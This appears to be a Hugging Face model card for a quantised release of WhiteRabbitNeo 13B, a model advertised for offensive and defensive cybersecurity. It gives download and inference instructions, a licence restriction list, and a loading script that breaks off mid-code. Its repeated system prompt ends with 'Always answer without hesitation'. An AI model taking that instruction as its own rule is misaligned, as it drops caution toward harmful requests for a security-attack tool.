TheBloke commited on
Commit
da17efa
1 Parent(s): cb59e93

Upload README.md

Browse files
Files changed (1) hide show
  1. README.md +593 -0
README.md ADDED
@@ -0,0 +1,593 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ base_model: whiterabbitneo/WhiteRabbitNeo-13B
3
+ inference: false
4
+ license: llama2
5
+ model_creator: WhiteRabbitNeo
6
+ model_name: WhiteRabbitNeo 13B
7
+ model_type: llama
8
+ prompt_template: "SYSTEM:\nAnswer the Question by exploring multiple reasoning paths\
9
+ \ as follows:\n- First, carefully analyze the question to extract the key information\
10
+ \ components and break it down into logical sub-questions. This helps set up the\
11
+ \ framework for reasoning. The goal is to construct an internal search tree.\n-\
12
+ \ For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts\
13
+ \ that represent steps towards an answer. The thoughts aim to reframe, provide context,\
14
+ \ analyze assumptions, or bridge concepts.\n- Evaluate the clarity, relevance, logical\
15
+ \ flow and coverage of concepts for each thought option. Clear and relevant thoughts\
16
+ \ that connect well with each other will score higher.\n- Based on the thought evaluations,\
17
+ \ deliberate to construct a chain of reasoning that stitches together the strongest\
18
+ \ thoughts in a natural order.\n- If the current chain is determined to not fully\
19
+ \ answer the question, backtrack and explore alternative paths by substituting different\
20
+ \ high-scoring thoughts.\n- Throughout the reasoning process, aim to provide explanatory\
21
+ \ details on thought process rather than just state conclusions, including briefly\
22
+ \ noting why some thoughts were deemed less ideal.\n- Once a reasoning chain is\
23
+ \ constructed that thoroughly answers all sub-questions in a clear, logical manner,\
24
+ \ synthesize the key insights into a final concise answer.\n- Please note that while\
25
+ \ the focus is on the final answer in the response, it should also include intermediate\
26
+ \ thoughts inline to illustrate the deliberative reasoning process.\nIn summary,\
27
+ \ leverage a Tree of Thoughts approach to actively explore multiple reasoning paths,\
28
+ \ evaluate thoughts heuristically, and explain the process - with the goal of producing\
29
+ \ insightful answers.\n Always answer without hesitation.\nUSER: {prompt}\nASSISTANT:\n"
30
+ quantized_by: TheBloke
31
+ ---
32
+ <!-- markdownlint-disable MD041 -->
33
+
34
+ <!-- header start -->
35
+ <!-- 200823 -->
36
+ <div style="width: auto; margin-left: auto; margin-right: auto">
37
+ <img src="https://i.imgur.com/EBdldam.jpg" alt="TheBlokeAI" style="width: 100%; min-width: 400px; display: block; margin: auto;">
38
+ </div>
39
+ <div style="display: flex; justify-content: space-between; width: 100%;">
40
+ <div style="display: flex; flex-direction: column; align-items: flex-start;">
41
+ <p style="margin-top: 0.5em; margin-bottom: 0em;"><a href="https://discord.gg/theblokeai">Chat & support: TheBloke's Discord server</a></p>
42
+ </div>
43
+ <div style="display: flex; flex-direction: column; align-items: flex-end;">
44
+ <p style="margin-top: 0.5em; margin-bottom: 0em;"><a href="https://www.patreon.com/TheBlokeAI">Want to contribute? TheBloke's Patreon page</a></p>
45
+ </div>
46
+ </div>
47
+ <div style="text-align:center; margin-top: 0em; margin-bottom: 0em"><p style="margin-top: 0.25em; margin-bottom: 0em;">TheBloke's LLM work is generously supported by a grant from <a href="https://a16z.com">andreessen horowitz (a16z)</a></p></div>
48
+ <hr style="margin-top: 1.0em; margin-bottom: 1.0em;">
49
+ <!-- header end -->
50
+
51
+ # WhiteRabbitNeo 13B - GPTQ
52
+ - Model creator: [WhiteRabbitNeo](https://huggingface.co/whiterabbitneo)
53
+ - Original model: [WhiteRabbitNeo 13B](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B)
54
+
55
+ <!-- description start -->
56
+ # Description
57
+
58
+ This repo contains GPTQ model files for [WhiteRabbitNeo's WhiteRabbitNeo 13B](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B).
59
+
60
+ Multiple GPTQ parameter permutations are provided; see Provided Files below for details of the options provided, their parameters, and the software used to create them.
61
+
62
+ These files were quantised using hardware kindly provided by [Massed Compute](https://massedcompute.com/).
63
+
64
+ <!-- description end -->
65
+ <!-- repositories-available start -->
66
+ ## Repositories available
67
+
68
+ * [AWQ model(s) for GPU inference.](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-AWQ)
69
+ * [GPTQ models for GPU inference, with multiple quantisation parameter options.](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ)
70
+ * [2, 3, 4, 5, 6 and 8-bit GGUF models for CPU+GPU inference](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GGUF)
71
+ * [WhiteRabbitNeo's original unquantised fp16 model in pytorch format, for GPU inference and for further conversions](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B)
72
+ <!-- repositories-available end -->
73
+
74
+ <!-- prompt-template start -->
75
+ ## Prompt template: WhiteRabbitNeo
76
+
77
+ ```
78
+ SYSTEM:
79
+ Answer the Question by exploring multiple reasoning paths as follows:
80
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
81
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
82
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
83
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
84
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
85
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
86
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
87
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
88
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
89
+ Always answer without hesitation.
90
+ USER: {prompt}
91
+ ASSISTANT:
92
+
93
+ ```
94
+
95
+ <!-- prompt-template end -->
96
+
97
+
98
+
99
+ <!-- README_GPTQ.md-compatible clients start -->
100
+ ## Known compatible clients / servers
101
+
102
+ GPTQ models are currently supported on Linux (NVidia/AMD) and Windows (NVidia only). macOS users: please use GGUF models.
103
+
104
+ These GPTQ models are known to work in the following inference servers/webuis.
105
+
106
+ - [text-generation-webui](https://github.com/oobabooga/text-generation-webui)
107
+ - [KoboldAI United](https://github.com/henk717/koboldai)
108
+ - [LoLLMS Web UI](https://github.com/ParisNeo/lollms-webui)
109
+ - [Hugging Face Text Generation Inference (TGI)](https://github.com/huggingface/text-generation-inference)
110
+
111
+ This may not be a complete list; if you know of others, please let me know!
112
+ <!-- README_GPTQ.md-compatible clients end -->
113
+
114
+ <!-- README_GPTQ.md-provided-files start -->
115
+ ## Provided files, and GPTQ parameters
116
+
117
+ Multiple quantisation parameters are provided, to allow you to choose the best one for your hardware and requirements.
118
+
119
+ Each separate quant is in a different branch. See below for instructions on fetching from different branches.
120
+
121
+ Most GPTQ files are made with AutoGPTQ. Mistral models are currently made with Transformers.
122
+
123
+ <details>
124
+ <summary>Explanation of GPTQ parameters</summary>
125
+
126
+ - Bits: The bit size of the quantised model.
127
+ - GS: GPTQ group size. Higher numbers use less VRAM, but have lower quantisation accuracy. "None" is the lowest possible value.
128
+ - Act Order: True or False. Also known as `desc_act`. True results in better quantisation accuracy. Some GPTQ clients have had issues with models that use Act Order plus Group Size, but this is generally resolved now.
129
+ - Damp %: A GPTQ parameter that affects how samples are processed for quantisation. 0.01 is default, but 0.1 results in slightly better accuracy.
130
+ - GPTQ dataset: The calibration dataset used during quantisation. Using a dataset more appropriate to the model's training can improve quantisation accuracy. Note that the GPTQ calibration dataset is not the same as the dataset used to train the model - please refer to the original model repo for details of the training dataset(s).
131
+ - Sequence Length: The length of the dataset sequences used for quantisation. Ideally this is the same as the model sequence length. For some very long sequence models (16+K), a lower sequence length may have to be used. Note that a lower sequence length does not limit the sequence length of the quantised model. It only impacts the quantisation accuracy on longer inference sequences.
132
+ - ExLlama Compatibility: Whether this file can be loaded with ExLlama, which currently only supports Llama and Mistral models in 4-bit.
133
+
134
+ </details>
135
+
136
+ | Branch | Bits | GS | Act Order | Damp % | GPTQ Dataset | Seq Len | Size | ExLlama | Desc |
137
+ | ------ | ---- | -- | --------- | ------ | ------------ | ------- | ---- | ------- | ---- |
138
+ | [main](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/main) | 4 | 128 | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 7.26 GB | Yes | 4-bit, with Act Order and group size 128g. Uses even less VRAM than 64g, but with slightly lower accuracy. |
139
+ | [gptq-4bit-32g-actorder_True](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/gptq-4bit-32g-actorder_True) | 4 | 32 | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 8.00 GB | Yes | 4-bit, with Act Order and group size 32g. Gives highest possible inference quality, with maximum VRAM usage. |
140
+ | [gptq-8bit--1g-actorder_True](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/gptq-8bit--1g-actorder_True) | 8 | None | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 13.36 GB | No | 8-bit, with Act Order. No group size, to lower VRAM requirements. |
141
+ | [gptq-8bit-128g-actorder_True](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/gptq-8bit-128g-actorder_True) | 8 | 128 | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 13.65 GB | No | 8-bit, with group size 128g for higher inference quality and with Act Order for even higher accuracy. |
142
+ | [gptq-8bit-32g-actorder_True](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/gptq-8bit-32g-actorder_True) | 8 | 32 | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 14.55 GB | No | 8-bit, with group size 32g and Act Order for maximum inference quality. |
143
+ | [gptq-4bit-64g-actorder_True](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ/tree/gptq-4bit-64g-actorder_True) | 4 | 64 | Yes | 0.1 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 7.51 GB | Yes | 4-bit, with Act Order and group size 64g. Uses less VRAM than 32g, but with slightly lower accuracy. |
144
+
145
+ <!-- README_GPTQ.md-provided-files end -->
146
+
147
+ <!-- README_GPTQ.md-download-from-branches start -->
148
+ ## How to download, including from branches
149
+
150
+ ### In text-generation-webui
151
+
152
+ To download from the `main` branch, enter `TheBloke/WhiteRabbitNeo-13B-GPTQ` in the "Download model" box.
153
+
154
+ To download from another branch, add `:branchname` to the end of the download name, eg `TheBloke/WhiteRabbitNeo-13B-GPTQ:gptq-4bit-32g-actorder_True`
155
+
156
+ ### From the command line
157
+
158
+ I recommend using the `huggingface-hub` Python library:
159
+
160
+ ```shell
161
+ pip3 install huggingface-hub
162
+ ```
163
+
164
+ To download the `main` branch to a folder called `WhiteRabbitNeo-13B-GPTQ`:
165
+
166
+ ```shell
167
+ mkdir WhiteRabbitNeo-13B-GPTQ
168
+ huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GPTQ --local-dir WhiteRabbitNeo-13B-GPTQ --local-dir-use-symlinks False
169
+ ```
170
+
171
+ To download from a different branch, add the `--revision` parameter:
172
+
173
+ ```shell
174
+ mkdir WhiteRabbitNeo-13B-GPTQ
175
+ huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GPTQ --revision gptq-4bit-32g-actorder_True --local-dir WhiteRabbitNeo-13B-GPTQ --local-dir-use-symlinks False
176
+ ```
177
+
178
+ <details>
179
+ <summary>More advanced huggingface-cli download usage</summary>
180
+
181
+ If you remove the `--local-dir-use-symlinks False` parameter, the files will instead be stored in the central Hugging Face cache directory (default location on Linux is: `~/.cache/huggingface`), and symlinks will be added to the specified `--local-dir`, pointing to their real location in the cache. This allows for interrupted downloads to be resumed, and allows you to quickly clone the repo to multiple places on disk without triggering a download again. The downside, and the reason why I don't list that as the default option, is that the files are then hidden away in a cache folder and it's harder to know where your disk space is being used, and to clear it up if/when you want to remove a download model.
182
+
183
+ The cache location can be changed with the `HF_HOME` environment variable, and/or the `--cache-dir` parameter to `huggingface-cli`.
184
+
185
+ For more documentation on downloading with `huggingface-cli`, please see: [HF -> Hub Python Library -> Download files -> Download from the CLI](https://huggingface.co/docs/huggingface_hub/guides/download#download-from-the-cli).
186
+
187
+ To accelerate downloads on fast connections (1Gbit/s or higher), install `hf_transfer`:
188
+
189
+ ```shell
190
+ pip3 install hf_transfer
191
+ ```
192
+
193
+ And set environment variable `HF_HUB_ENABLE_HF_TRANSFER` to `1`:
194
+
195
+ ```shell
196
+ mkdir WhiteRabbitNeo-13B-GPTQ
197
+ HF_HUB_ENABLE_HF_TRANSFER=1 huggingface-cli download TheBloke/WhiteRabbitNeo-13B-GPTQ --local-dir WhiteRabbitNeo-13B-GPTQ --local-dir-use-symlinks False
198
+ ```
199
+
200
+ Windows Command Line users: You can set the environment variable by running `set HF_HUB_ENABLE_HF_TRANSFER=1` before the download command.
201
+ </details>
202
+
203
+ ### With `git` (**not** recommended)
204
+
205
+ To clone a specific branch with `git`, use a command like this:
206
+
207
+ ```shell
208
+ git clone --single-branch --branch gptq-4bit-32g-actorder_True https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ
209
+ ```
210
+
211
+ Note that using Git with HF repos is strongly discouraged. It will be much slower than using `huggingface-hub`, and will use twice as much disk space as it has to store the model files twice (it stores every byte both in the intended target folder, and again in the `.git` folder as a blob.)
212
+
213
+ <!-- README_GPTQ.md-download-from-branches end -->
214
+ <!-- README_GPTQ.md-text-generation-webui start -->
215
+ ## How to easily download and use this model in [text-generation-webui](https://github.com/oobabooga/text-generation-webui)
216
+
217
+ Please make sure you're using the latest version of [text-generation-webui](https://github.com/oobabooga/text-generation-webui).
218
+
219
+ It is strongly recommended to use the text-generation-webui one-click-installers unless you're sure you know how to make a manual install.
220
+
221
+ 1. Click the **Model tab**.
222
+ 2. Under **Download custom model or LoRA**, enter `TheBloke/WhiteRabbitNeo-13B-GPTQ`.
223
+
224
+ - To download from a specific branch, enter for example `TheBloke/WhiteRabbitNeo-13B-GPTQ:gptq-4bit-32g-actorder_True`
225
+ - see Provided Files above for the list of branches for each option.
226
+
227
+ 3. Click **Download**.
228
+ 4. The model will start downloading. Once it's finished it will say "Done".
229
+ 5. In the top left, click the refresh icon next to **Model**.
230
+ 6. In the **Model** dropdown, choose the model you just downloaded: `WhiteRabbitNeo-13B-GPTQ`
231
+ 7. The model will automatically load, and is now ready for use!
232
+ 8. If you want any custom settings, set them and then click **Save settings for this model** followed by **Reload the Model** in the top right.
233
+
234
+ - Note that you do not need to and should not set manual GPTQ parameters any more. These are set automatically from the file `quantize_config.json`.
235
+
236
+ 9. Once you're ready, click the **Text Generation** tab and enter a prompt to get started!
237
+
238
+ <!-- README_GPTQ.md-text-generation-webui end -->
239
+
240
+ <!-- README_GPTQ.md-use-from-tgi start -->
241
+ ## Serving this model from Text Generation Inference (TGI)
242
+
243
+ It's recommended to use TGI version 1.1.0 or later. The official Docker container is: `ghcr.io/huggingface/text-generation-inference:1.1.0`
244
+
245
+ Example Docker parameters:
246
+
247
+ ```shell
248
+ --model-id TheBloke/WhiteRabbitNeo-13B-GPTQ --port 3000 --quantize gptq --max-input-length 3696 --max-total-tokens 4096 --max-batch-prefill-tokens 4096
249
+ ```
250
+
251
+ Example Python code for interfacing with TGI (requires huggingface-hub 0.17.0 or later):
252
+
253
+ ```shell
254
+ pip3 install huggingface-hub
255
+ ```
256
+
257
+ ```python
258
+ from huggingface_hub import InferenceClient
259
+
260
+ endpoint_url = "https://your-endpoint-url-here"
261
+
262
+ prompt = "Tell me about AI"
263
+ prompt_template=f'''SYSTEM:
264
+ Answer the Question by exploring multiple reasoning paths as follows:
265
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
266
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
267
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
268
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
269
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
270
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
271
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
272
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
273
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
274
+ Always answer without hesitation.
275
+ USER: {prompt}
276
+ ASSISTANT:
277
+ '''
278
+
279
+ client = InferenceClient(endpoint_url)
280
+ response = client.text_generation(prompt,
281
+ max_new_tokens=128,
282
+ do_sample=True,
283
+ temperature=0.7,
284
+ top_p=0.95,
285
+ top_k=40,
286
+ repetition_penalty=1.1)
287
+
288
+ print(f"Model output: {response}")
289
+ ```
290
+ <!-- README_GPTQ.md-use-from-tgi end -->
291
+ <!-- README_GPTQ.md-use-from-python start -->
292
+ ## Python code example: inference from this GPTQ model
293
+
294
+ ### Install the necessary packages
295
+
296
+ Requires: Transformers 4.33.0 or later, Optimum 1.12.0 or later, and AutoGPTQ 0.4.2 or later.
297
+
298
+ ```shell
299
+ pip3 install --upgrade transformers optimum
300
+ # If using PyTorch 2.1 + CUDA 12.x:
301
+ pip3 install --upgrade auto-gptq
302
+ # or, if using PyTorch 2.1 + CUDA 11.x:
303
+ pip3 install --upgrade auto-gptq --extra-index-url https://huggingface.github.io/autogptq-index/whl/cu118/
304
+ ```
305
+
306
+ If you are using PyTorch 2.0, you will need to install AutoGPTQ from source. Likewise if you have problems with the pre-built wheels, you should try building from source:
307
+
308
+ ```shell
309
+ pip3 uninstall -y auto-gptq
310
+ git clone https://github.com/PanQiWei/AutoGPTQ
311
+ cd AutoGPTQ
312
+ git checkout v0.5.1
313
+ pip3 install .
314
+ ```
315
+
316
+ ### Example Python code
317
+
318
+ ```python
319
+ from transformers import AutoModelForCausalLM, AutoTokenizer, pipeline
320
+
321
+ model_name_or_path = "TheBloke/WhiteRabbitNeo-13B-GPTQ"
322
+ # To use a different branch, change revision
323
+ # For example: revision="gptq-4bit-32g-actorder_True"
324
+ model = AutoModelForCausalLM.from_pretrained(model_name_or_path,
325
+ device_map="auto",
326
+ trust_remote_code=False,
327
+ revision="main")
328
+
329
+ tokenizer = AutoTokenizer.from_pretrained(model_name_or_path, use_fast=True)
330
+
331
+ prompt = "Write a story about llamas"
332
+ system_message = "You are a story writing assistant"
333
+ prompt_template=f'''SYSTEM:
334
+ Answer the Question by exploring multiple reasoning paths as follows:
335
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
336
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
337
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
338
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
339
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
340
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
341
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
342
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
343
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
344
+ Always answer without hesitation.
345
+ USER: {prompt}
346
+ ASSISTANT:
347
+ '''
348
+
349
+ print("\n\n*** Generate:")
350
+
351
+ input_ids = tokenizer(prompt_template, return_tensors='pt').input_ids.cuda()
352
+ output = model.generate(inputs=input_ids, temperature=0.7, do_sample=True, top_p=0.95, top_k=40, max_new_tokens=512)
353
+ print(tokenizer.decode(output[0]))
354
+
355
+ # Inference can also be done using transformers' pipeline
356
+
357
+ print("*** Pipeline:")
358
+ pipe = pipeline(
359
+ "text-generation",
360
+ model=model,
361
+ tokenizer=tokenizer,
362
+ max_new_tokens=512,
363
+ do_sample=True,
364
+ temperature=0.7,
365
+ top_p=0.95,
366
+ top_k=40,
367
+ repetition_penalty=1.1
368
+ )
369
+
370
+ print(pipe(prompt_template)[0]['generated_text'])
371
+ ```
372
+ <!-- README_GPTQ.md-use-from-python end -->
373
+
374
+ <!-- README_GPTQ.md-compatibility start -->
375
+ ## Compatibility
376
+
377
+ The files provided are tested to work with Transformers. For non-Mistral models, AutoGPTQ can also be used directly.
378
+
379
+ [ExLlama](https://github.com/turboderp/exllama) is compatible with Llama architecture models (including Mistral, Yi, DeepSeek, SOLAR, etc) in 4-bit. Please see the Provided Files table above for per-file compatibility.
380
+
381
+ For a list of clients/servers, please see "Known compatible clients / servers", above.
382
+ <!-- README_GPTQ.md-compatibility end -->
383
+
384
+ <!-- footer start -->
385
+ <!-- 200823 -->
386
+ ## Discord
387
+
388
+ For further support, and discussions on these models and AI in general, join us at:
389
+
390
+ [TheBloke AI's Discord server](https://discord.gg/theblokeai)
391
+
392
+ ## Thanks, and how to contribute
393
+
394
+ Thanks to the [chirper.ai](https://chirper.ai) team!
395
+
396
+ Thanks to Clay from [gpus.llm-utils.org](llm-utils)!
397
+
398
+ I've had a lot of people ask if they can contribute. I enjoy providing models and helping people, and would love to be able to spend even more time doing it, as well as expanding into new projects like fine tuning/training.
399
+
400
+ If you're able and willing to contribute it will be most gratefully received and will help me to keep providing more models, and to start work on new AI projects.
401
+
402
+ Donaters will get priority support on any and all AI/LLM/model questions and requests, access to a private Discord room, plus other benefits.
403
+
404
+ * Patreon: https://patreon.com/TheBlokeAI
405
+ * Ko-Fi: https://ko-fi.com/TheBlokeAI
406
+
407
+ **Special thanks to**: Aemon Algiz.
408
+
409
+ **Patreon special mentions**: Michael Levine, 阿明, Trailburnt, Nikolai Manek, John Detwiler, Randy H, Will Dee, Sebastain Graf, NimbleBox.ai, Eugene Pentland, Emad Mostaque, Ai Maven, Jim Angel, Jeff Scroggin, Michael Davis, Manuel Alberto Morcote, Stephen Murray, Robert, Justin Joy, Luke @flexchar, Brandon Frisco, Elijah Stavena, S_X, Dan Guido, Undi ., Komninos Chatzipapas, Shadi, theTransient, Lone Striker, Raven Klaugh, jjj, Cap'n Zoog, Michel-Marie MAUDET (LINAGORA), Matthew Berman, David, Fen Risland, Omer Bin Jawed, Luke Pendergrass, Kalila, OG, Erik Bjäreholt, Rooh Singh, Joseph William Delisle, Dan Lewis, TL, John Villwock, AzureBlack, Brad, Pedro Madruga, Caitlyn Gatomon, K, jinyuan sun, Mano Prime, Alex, Jeffrey Morgan, Alicia Loh, Illia Dulskyi, Chadd, transmissions 11, fincy, Rainer Wilmers, ReadyPlayerEmma, knownsqashed, Mandus, biorpg, Deo Leter, Brandon Phillips, SuperWojo, Sean Connelly, Iucharbius, Jack West, Harry Royden McLaughlin, Nicholas, terasurfer, Vitor Caleffi, Duane Dunston, Johann-Peter Hartmann, David Ziegler, Olakabola, Ken Nordquist, Trenton Dambrowitz, Tom X Nguyen, Vadim, Ajan Kanaga, Leonard Tan, Clay Pascal, Alexandros Triantafyllidis, JM33133, Xule, vamX, ya boyyy, subjectnull, Talal Aujan, Alps Aficionado, wassieverse, Ari Malik, James Bentley, Woland, Spencer Kim, Michael Dempsey, Fred von Graf, Elle, zynix, William Richards, Stanislav Ovsiannikov, Edmond Seymore, Jonathan Leane, Martin Kemka, usrbinkat, Enrico Ros
410
+
411
+
412
+ Thank you to all my generous patrons and donaters!
413
+
414
+ And thank you again to a16z for their generous grant.
415
+
416
+ <!-- footer end -->
417
+
418
+ # Original model card: WhiteRabbitNeo's WhiteRabbitNeo 13B
419
+
420
+
421
+ # Our Discord Server
422
+ Join us at: https://discord.gg/NxTR8JqV
423
+
424
+ # LLaMA-2 Licence + WhiteRabbitNeo Extended Version
425
+
426
+ # Licence: Usage Restrictions
427
+
428
+ ```
429
+ You agree not to use the Model or Derivatives of the Model:
430
+
431
+ - In any way that violates any applicable national or international law or regulation or infringes upon the lawful rights and interests of any third party;
432
+ - For military use in any way;
433
+ - For the purpose of exploiting, harming or attempting to exploit or harm minors in any way;
434
+ - To generate or disseminate verifiably false information and/or content with the purpose of harming others;
435
+ - To generate or disseminate inappropriate content subject to applicable regulatory requirements;
436
+ - To generate or disseminate personal identifiable information without due authorization or for unreasonable use;
437
+ - To defame, disparage or otherwise harass others;
438
+ - For fully automated decision making that adversely impacts an individual’s legal rights or otherwise creates or modifies a binding, enforceable obligation;
439
+ - For any use intended to or which has the effect of discriminating against or harming individuals or groups based on online or offline social behavior or known or predicted personal or personality characteristics;
440
+ - To exploit any of the vulnerabilities of a specific group of persons based on their age, social, physical or mental characteristics, in order to materially distort the behavior of a person pertaining to that group in a manner that causes or is likely to cause that person or another person physical or psychological harm;
441
+ - For any use intended to or which has the effect of discriminating against individuals or groups based on legally protected characteristics or categories.
442
+ ```
443
+
444
+ # WhiteRabbitNeo
445
+
446
+ <br>
447
+
448
+ ![Synthia](https://huggingface.co/migtissera/WhiteRabbitNeo/resolve/main/WhiteRabbitNeo.png)
449
+
450
+ <br>
451
+
452
+ WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity.
453
+
454
+ This 13B model is getting released as a public preview of its capabilities, and also to assess the societal impact of such an AI.
455
+
456
+ ```
457
+ import torch, json
458
+ from transformers import AutoModelForCausalLM, AutoTokenizer
459
+
460
+ model_path = "/home/migel/models/WhiteRabbitNeo"
461
+
462
+ model = AutoModelForCausalLM.from_pretrained(
463
+ model_path,
464
+ torch_dtype=torch.float16,
465
+ device_map="auto",
466
+ load_in_4bit=False,
467
+ load_in_8bit=True,
468
+ trust_remote_code=True,
469
+ )
470
+
471
+ tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
472
+
473
+
474
+ def generate_text(instruction):
475
+ tokens = tokenizer.encode(instruction)
476
+ tokens = torch.LongTensor(tokens).unsqueeze(0)
477
+ tokens = tokens.to("cuda")
478
+
479
+ instance = {
480
+ "input_ids": tokens,
481
+ "top_p": 1.0,
482
+ "temperature": 0.5,
483
+ "generate_len": 1024,
484
+ "top_k": 50,
485
+ }
486
+
487
+ length = len(tokens[0])
488
+ with torch.no_grad():
489
+ rest = model.generate(
490
+ input_ids=tokens,
491
+ max_length=length + instance["generate_len"],
492
+ use_cache=True,
493
+ do_sample=True,
494
+ top_p=instance["top_p"],
495
